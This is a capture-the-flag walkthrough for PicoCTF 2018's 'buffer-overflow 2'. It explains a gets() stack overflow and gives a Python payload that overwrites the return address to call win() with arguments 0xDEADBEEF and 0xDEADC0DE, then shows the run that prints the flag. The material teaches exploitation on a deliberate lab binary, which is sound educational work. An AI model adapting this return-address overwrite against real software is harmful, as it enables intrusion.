PicoCTF 2018 - Buffer Overflow 2
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
vuln()
is nearly identical to the last ‘buffer-overflow’ challenge, so flip back to it now if you need a refresher.
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
Strategy
There still is a win
function, but this time around you can’t just call it, you have to also ensure that the first argument is 0xDEADBEEF
and the second argument is 0xDEADC0DE
or it won’t print the flag.
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
However, overall our strategy is exactly the same: smash the stack, put the address of win
into the return address, put whatever arguments win
needs in the right spots, and grab the flag.
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ nm vuln | grep win
080485cb T win
The code for the function win()
begins at the address 0x080485cb
(no PIE, no ASLR). When you are prepared to tackle the challenge, cd to /problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa
on the shell server.
Background Info
First off, how much space is available for our buffer?
push ebp
mov ebp,esp
sub esp,0x78
sub esp,0xc
lea eax,[ebp-0x6c]
push eax
call 8048430 <gets@plt>
add esp,0x10
sub esp,0xc
lea eax,[ebp-0x6c]
push eax
call 8048460 <puts@plt>
add esp,0x10
nop
leave
ret
As we can see here, the buffer begins at ebp-0x6c
, which means that there is 100 bytes of buffer, plus 8 bytes of padding. We already know that after the padding is the preserved value of ebp
, and following that is the return address of our function. Therefore, the stack for vuln
looks something like this:
lower addresses | ⇒ | ⇒ | higher addresses |
---|---|---|---|
buf[100] | < padding[8] > | <old ebp> | <return address> |
The question becomes, how do we pass 0xDEADBEEF
and 0xDEADC0DE
as arguments to the function win
?
Recall, if you were calling the function win
from normal code, you would use assembly like this:
push 0xDEADCODE ; arugments "pushed" last to first
push 0xDEADBEEF
call win ; IMPLICIT "push next_instruction", which pushes the address of the next instruction onto the stack
next_instruction:
; ...
Which means that 0xDEADCODE
gets pushed first, then 0xDEADBEEF
, then the return address. Since the stack grows “up”, that means in memory the return address is first (lowest address), followed by 0xDEADBEEF
, followed by 0xDEADC0DE
.
lower addresses | ⇒ | higher addresses |
---|---|---|
<return address> | 0xDEADBEEF | 0xDEADC0DE |
Which is exactly what the state of the stack should be when the win
function gets called. In this case <return address> is the address that gets called after win
executes (ie: after the flag is printed, since stdout is once again set to non-buffering). Since you already have the flag, you can set it to anything you like (causing a segfault when win
returns).
Exploitation
Putting it all together, the write to the buffer should look like this:
- 108 bytes of don’t care
- 4 bytes overwriting preserved
ebp
(also don’t care) - 4 bytes return address for vuln (
0x080485cb
==&win
) - 4 bytes return address for win (
0x55555555
) - 4 bytes arg1 (
0xDEADBEEF
) - 4 bytes arg2 (
0xDEADC0DE
)
Or, in python (don’t forget to write your multi-byte values in little-endian form):
print("U"*108 + "U"*4 + "\xcb\x85\x04\x08" + "\x55\x55\x55\x55" + "\xef\xbe\xad\xde" + "\xde\xc0\xad\xde")
Let’s try it out at /problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa
on the shell server:
/problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa$ python -c 'print("U"*108 + "U"*4 + "\xcb\x85\x04\x08" + "\x55\x55\x55\x55" + "\xef\xbe\xad\xde" + "\xde\xc0\xad\xde")' | ./vuln
Please enter your string:
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU˅UUUUᆳ�����
picoCTF{===REDACTED===}Segmentation fault (core dumped)
Great Job! Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.